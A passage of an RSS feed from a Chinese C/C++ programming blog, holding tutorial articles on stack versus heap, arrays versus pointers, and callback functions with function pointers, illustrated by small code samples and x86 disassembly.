9pt">当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>2.6</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">存取效率的比较</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>char s1[] = "aaaaaaaaaaaaaaa";<br>char *s2 = "bbbbbbbbbbbbbbbbb";<br>aaaaaaaaaaa</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">是在运行时刻赋值的；</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">而</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">bbbbbbbbbbb</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">是在编译时就确定的；</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">但是，在以后的存取中，在栈上的数组比指针所指向的字符串</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">(</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">例如堆</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">)</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">快。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">比如：</span></div>
<div style="LINE-HEIGHT: 150%; MARGIN: 0cm 24pt 24pt"></div>
<div style="BORDER-BOTTOM: rgb(105,140,195) 0.75pt solid; BORDER-LEFT: rgb(105,140,195) 0.75pt solid; PADDING-BOTTOM: 8pt; PADDING-LEFT: 8pt; PADDING-RIGHT: 8pt; BORDER-TOP: rgb(105,140,195) 0.75pt solid; BORDER-RIGHT: rgb(105,140,195) 0.75pt solid; PADDING-TOP: 4pt">
<div style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; PADDING-BOTTOM: 0cm; LINE-HEIGHT: 150%; MARGIN: 2.25pt 24pt 24pt; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; BORDER-RIGHT: medium none; PADDING-TOP: 0cm"><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">void main()<br>{<br>char a = 1;<br>char c[] = "1234567890";<br>char *p ="1234567890";<br>a = c[1];<br>a = p[1];<br>return;<br>}</span></div>
</div>
<div style="LINE-HEIGHT: 150%; MARGIN: 24pt 0cm 12pt"><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">对应的汇编代码</span></div>
<div style="LINE-HEIGHT: 150%; MARGIN: 0cm 24pt 24pt"></div>
<div style="BORDER-BOTTOM: rgb(105,140,195) 0.75pt solid; BORDER-LEFT: rgb(105,140,195) 0.75pt solid; PADDING-BOTTOM: 8pt; PADDING-LEFT: 8pt; PADDING-RIGHT: 8pt; BORDER-TOP: rgb(105,140,195) 0.75pt solid; BORDER-RIGHT: rgb(105,140,195) 0.75pt solid; PADDING-TOP: 4pt">
<div style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; PADDING-BOTTOM: 0cm; LINE-HEIGHT: 150%; MARGIN: 2.25pt 24pt 24pt; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; BORDER-RIGHT: medium none; PADDING-TOP: 0cm"><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">10: a = c[1];<br>00401067 8A 4D F1 mov cl,byte ptr [ebp-0Fh]<br>0040106A 88 4D FC mov byte ptr [ebp-4],cl<br>11: a = p[1];<br>0040106D 8B 55 EC mov edx,dword ptr [ebp-14h]<br>00401070 8A 42 01 mov al,byte ptr [edx+1]<br>00401073 88 45 FC mov byte ptr [ebp-4],al</span></div>
</div>
<div><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">第一种在读取时直接就把字符串中的元素读到寄存器</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">cl</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">中，而第二种则要先把指针值读到</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">edx</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">中，在根据</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>edx</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">读取字符，显然慢了。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br><br>2.7</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">小结：</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><strong style="BACKGROUND-COLOR: #ffff66; COLOR: black">堆和栈的区别</strong>可以用如下的比喻来看出：</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。</span></div>
</div>
<img src ="http://www.cppblog.com/superKiki/aggbug/117033.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-06-02 17:59 <a href="http://www.cppblog.com/superKiki/articles/117033.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数组与指针的区别</title><link>http://www.cppblog.com/superKiki/articles/116835.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Mon, 31 May 2010 12:02:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/116835.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/116835.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/116835.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/116835.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/116835.html</trackback:ping><description><![CDATA[<p>首先对于编译器而言，一个数组是一个地址，一个指针是一个地址的地址。</p>
<p>数组要么在静态存储区被创建（如全局数组），要么在栈上被创建。数组名对应着（而<br>不是指向）一块内存，其地址与容量在生命期内保持不变，只有数组的内容可以改变。</p>
<p>例如：</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;main(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">)<br><img id=Codehighlighter1_16_89_Open_Image onclick="this.style.display='none'; Codehighlighter1_16_89_Open_Text.style.display='none'; Codehighlighter1_16_89_Closed_Image.style.display='inline'; Codehighlighter1_16_89_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_16_89_Closed_Image onclick="this.style.display='none'; Codehighlighter1_16_89_Closed_Text.style.display='none'; Codehighlighter1_16_89_Open_Image.style.display='inline'; Codehighlighter1_16_89_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_16_89_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_16_89_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;a[</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">error,&nbsp;a&nbsp;is&nbsp;left&nbsp;value,but&nbsp;can't&nbsp;be&nbsp;changed.</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span></div>
<p>&nbsp;</p>
<p>指针可以随时指向任意类型的内存块,远比数组灵活，但也更危险。 下表是指针和数组一个简单的比较</p>
<p>数组和指针的特点 数组 指针 <br>保存数据 保存地址 <br>直接访问数据 间接访问数据，先取得指针的内容，然后以它为地址，取得数据&nbsp; <br>用于存储数目固定且类型相同的数据 通常用于动态数据结构 <br>由编译器自动分配和删除 动态的分配和删除，相关函数为malloc() 和free() <br>自身即为数据名 通常指向隐式数据 </p>
<p>1、指针和数组都可以在初始化的时候赋予字符串常量。尽管看上去一样，底层机制却不同。</p>
<p>指针在定义的时候，编译器并不会为指针所指向的对象分配内存空间，它只是分配指针变量的空间。除非以一个字符串常量对其进行初始化。下面的定义创建了一个字符串常量（为其分配了内存空间）</p>
<p>char *p = "abcd";</p>
<p>在ANSI C中，初始化指针时所指向的字符串被定义为只读，如果想通过指针修改字符串的时候，会产生未定义的行为。</p>
<p>数组也可以用字符串常量进行初始化，但是其内容可以被修改。</p>
<p>2、内容的复制和比较</p>
<p>不能对数组进行字节复制和比较，对于两个数组a,b,不能用b=a进行复制，而应当使用标准库函数strcpy()。也不能使用if(b==a)进行比较，应当使用strcmp()。</p>
<p>而对于指针p，如果要想将数组a中的内容复制，要先申请一块内存区域，然后使用strcpy()进行拷贝。</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;main(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;)<br><img id=Codehighlighter1_17_234_Open_Image onclick="this.style.display='none'; Codehighlighter1_17_234_Open_Text.style.display='none'; Codehighlighter1_17_234_Closed_Image.style.display='inline'; Codehighlighter1_17_234_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_17_234_Closed_Image onclick="this.style.display='none'; Codehighlighter1_17_234_Closed_Text.style.display='none'; Codehighlighter1_17_234_Open_Image.style.display='inline'; Codehighlighter1_17_234_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_17_234_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_17_234_Open_Text><span style="COLOR: #000000">{&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;a[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">hello</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;b[</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">];<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;strcpy(b,a);&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;can't&nbsp;use&nbsp;b=a;</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(strcmp(b,a)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">can't&nbsp;use&nbsp;if(b==a)</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;NULL;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)malloc(</span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(strlen(a)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)；<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(p,&nbsp;a);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(strcmp(b,a)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span></div>
<p><br>3、计算内存容量</p>
<p>&nbsp;用运算符sizeof()可以计算出数组的容量（字节数）。如下例</p>
<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;a[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">abcdef</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;a;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #000000">(a)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">;&nbsp;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #000000">(p)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">sizeof(p)&nbsp;equal&nbsp;to&nbsp;sizeof(char&nbsp;*)&nbsp;=4</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">注意当数组名作为函数参数进行传递时，该数组自动退化该类型的指针，如下例：<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;TEST(</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;a[</span><span style="COLOR: #000000">100</span><span style="COLOR: #000000">])<br><img id=Codehighlighter1_168_256_Open_Image onclick="this.style.display='none'; Codehighlighter1_168_256_Open_Text.style.display='none'; Codehighlighter1_168_256_Closed_Image.style.display='inline'; Codehighlighter1_168_256_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_168_256_Closed_Image onclick="this.style.display='none'; Codehighlighter1_168_256_Closed_Text.style.display='none'; Codehighlighter1_168_256_Open_Image.style.display='inline'; Codehighlighter1_168_256_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_168_256_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_168_256_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout</span><span style="COLOR: #000000">&lt;&lt;</span><span style="COLOR: #0000ff">sizeof</span><span style="COLOR: #000000">(a)</span><span style="COLOR: #000000">&lt;&lt;</span><span style="COLOR: #000000">endl;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;in&nbsp;this&nbsp;place,&nbsp;sizeof(a)&nbsp;is&nbsp;equal&nbsp;to&nbsp;sizeof(char&nbsp;*)&nbsp;=&nbsp;4</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
<p><br>个人观点：本来想再写一些关于指针和数组的相同之处，但是我觉得对于二者讨论的太多反而会让人更加模糊二者该如何使用，陷入到理论的牛角尖中。如果大家非要搞清楚的话，可以参考《C专家编程》。只要我们可以正确的使用，就没有必要太深究吧，有时候钻的越深，反而越不知如何使用。</p>
<img src ="http://www.cppblog.com/superKiki/aggbug/116835.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-05-31 20:02 <a href="http://www.cppblog.com/superKiki/articles/116835.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>回调函数和函数指针</title><link>http://www.cppblog.com/superKiki/articles/116287.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Tue, 25 May 2010 01:50:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/116287.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/116287.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/116287.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/116287.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/116287.html</trackback:ping><description><![CDATA[<p><span>最近在看代码，写代码的人很喜欢用回调函数和函数指针。一直觉得回调函数和函数指针挺神秘的，所以查了一些资料，来与大家一起来分享。</span></p>
<p><strong><span>什么是回调函数</span></strong><strong></strong></p>
<p><span>简而言之，回调函数就是一个通过函数指针调用的函数。如果你把函数的指针（地址）作为参数传递给另一个函数，当这个指针被用为调用它所指向的函数时，我们就说这是回调函数。</span></p>
<p><strong><span>为什么要使用回调函数</span></strong></p>
<p><span><span>&nbsp;&nbsp; </span></span><span>因为使用回调函数可以把调用者和被调用者分开，调用者不关心谁是被调用者，所有它需知道的，只是存在一个具有某种特定原型、某些限制条件（如返回值为</span><span>int</span><span>）的被调用函数。回调函数就好像是一个中断处理函数，系统在符合你设定的条件时自动调用。</span></p>
<p align=left><strong><span>如何使用回调函数</span></strong><strong></strong></p>
<p><span>&nbsp;</span><span>使用回调函数，我们需要做三件事：</span></p>
<ul>
    <li><span>声明</span>
    <li><span>定义</span>
    <li><span></span><span>设置触发条件：在你的函数种把你的回调函数名称转化为地址作为一个参数，以便于系统调用。</span> </li>
</ul>
<p><span>声明和定义时应注意，回调函数由系统调用，所以可以认为它属于</span><span>windows</span><span>系统，不要把它当作你的某个类的成员函数。</span></p>
<p align=left><span>回调函数是一个程序员不能显示调用的函数，通过将回调函数的地址传给调用者从而实现调用。回调函数是十分必要的，在我们想通过一个统一接口实现不同的内容，这时回调函数非常合适。</span></p>
<p align=left><strong><span>函数指针的声明</span></strong><strong></strong></p>
<p align=left><span>对回调函数有了一个初步的了解，下面我们来说一下函数指针。因为要实现回调，必须首先定义函数指针。</span></p>
<p align=left><span>void (*) ()</span></p>
<p align=left><span>左边圆括弧中的星号是函数指针声明的关键。另外两个元素是函数的返回类型（</span><span>void</span><span>）和右边圆括弧中的入口参数</span></p>
<p align=left><span>为函数指针声明类型定义：</span></p>
<p align=left><span>Typedef void(* pfv)()</span></p>
<p align=left><span>pfv </span><span>是一个函数指针，它指向的函数没有输入参数，返回类型为</span><span>voie</span><span>。使用这个类型定义名称可以隐藏负责的函数指针语法。</span></p>
<p align=left><span>void (*p)();</span></p>
<p align=left><span>void&nbsp;func()</span></p>
<p align=left><span>{</span></p>
<p align=left><span>&#8230;&#8230;</span></p>
<p align=left><span>}</span></p>
<p align=left><span>p = func;</span></p>
<p align=left><span>p</span><span>的赋值可以不同，但一定要是函数的指针，并且参数和返回类型相同。</span></p>
<p align=left><span>例如：</span></p>
<p align=left><span>现学现卖的一个小例子<br></p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #000000">#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">iostream</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">using</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">namespace</span><span style="COLOR: #000000">&nbsp;std;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif">typedef&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">PF)();<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;func()<br><img id=Codehighlighter1_76_104_Open_Image onclick="this.style.display='none'; Codehighlighter1_76_104_Open_Text.style.display='none'; Codehighlighter1_76_104_Closed_Image.style.display='inline'; Codehighlighter1_76_104_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_76_104_Closed_Image onclick="this.style.display='none'; Codehighlighter1_76_104_Closed_Text.style.display='none'; Codehighlighter1_76_104_Open_Image.style.display='inline'; Codehighlighter1_76_104_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_76_104_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_76_104_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;cout&nbsp;</span><span style="COLOR: #000000">&lt;&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">func</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&lt;&lt;</span><span style="COLOR: #000000">&nbsp;endl;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;caller(&nbsp;PF&nbsp;pf)<br><img id=Codehighlighter1_127_137_Open_Image onclick="this.style.display='none'; Codehighlighter1_127_137_Open_Text.style.display='none'; Codehighlighter1_127_137_Closed_Image.style.display='inline'; Codehighlighter1_127_137_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_127_137_Closed_Image onclick="this.style.display='none'; Codehighlighter1_127_137_Closed_Text.style.display='none'; Codehighlighter1_127_137_Open_Image.style.display='inline'; Codehighlighter1_127_137_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_127_137_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_127_137_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;pf();<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;main()<br><img id=Codehighlighter1_151_214_Open_Image onclick="this.style.display='none'; Codehighlighter1_151_214_Open_Text.style.display='none'; Codehighlighter1_151_214_Closed_Image.style.display='inline'; Codehighlighter1_151_214_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_151_214_Closed_Image onclick="this.style.display='none'; Codehighlighter1_151_214_Closed_Text.style.display='none'; Codehighlighter1_151_214_Open_Image.style.display='inline'; Codehighlighter1_151_214_Open_Text.style.display='inline';" align=top 